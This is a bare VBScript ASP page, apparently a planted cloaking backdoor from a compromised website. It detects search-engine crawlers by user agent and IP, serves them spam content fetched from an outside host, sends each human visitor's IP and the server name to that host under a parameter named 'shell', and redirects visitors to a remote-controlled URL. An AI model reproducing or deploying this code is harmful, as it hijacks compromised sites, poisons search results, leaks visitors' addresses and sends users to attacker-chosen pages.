<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <%Session.CodePage="65001"%> <%Response.CodePage="65001"%> <% Server.ScriptTimeout=6000 function GetBot() dim s_agent GetBot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"googlebot",1) >0 then GetBot="isBot" end if if instr(1,s_agent,"msnbot",1) >0 then GetBot="isBot" end if if instr(1,s_agent,"slurp",1) >0 then GetBot="isBot" end if if instr(1,s_agent,"baiduspider",1) >0 then GetBot="isBot" end if if instr(1,s_agent,"sohu-search",1) >0 then GetBot="isBot" end if if instr(1,s_agent,"lycos",1) >0 then GetBot="isBot" end if if instr(1,s_agent,"robozilla",1) >0 then GetBot="isBot" end if end function Public Function GetHtml(url) GetHtml = "null" Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "utf-8" GetHtml = objStream.ReadText objStream.Close End Function d_id = 1 if request.QueryString("id") > 0 then d_id = request.QueryString("id") end if dim ip,ips,isBot ip = Request.ServerVariables("REMOTE_ADDR") ips = split(ip, ".") if ips(0) = "66" then isBot = 1 else isBot = 0 end if if GetBot() = "isBot" or isBot then this_contents = LCase(GetHtml("http://get.sansleb.com/domain_get_url_test.php?action=out_put&script_name="&Request.ServerVariables("SCRIPT_NAME")&"&dstring="&Request.ServerVariables("SERVER_NAME")&"&type=asp&do_id="&d_id)) response.Write(this_contents) Response.end() else GetHtml("http://get.sansleb.com/51la.php?type=asp&ip="&Request.ServerVariables("REMOTE_ADDR")&"&shell="&Request.ServerVariables("SERVER_NAME")) url = "http://get.sansleb.com/domain_redirect.php?type=redirect&dstring="&Request.ServerVariables("SERVER_NAME")&"&do_id="&d_id response.redirect url end if %>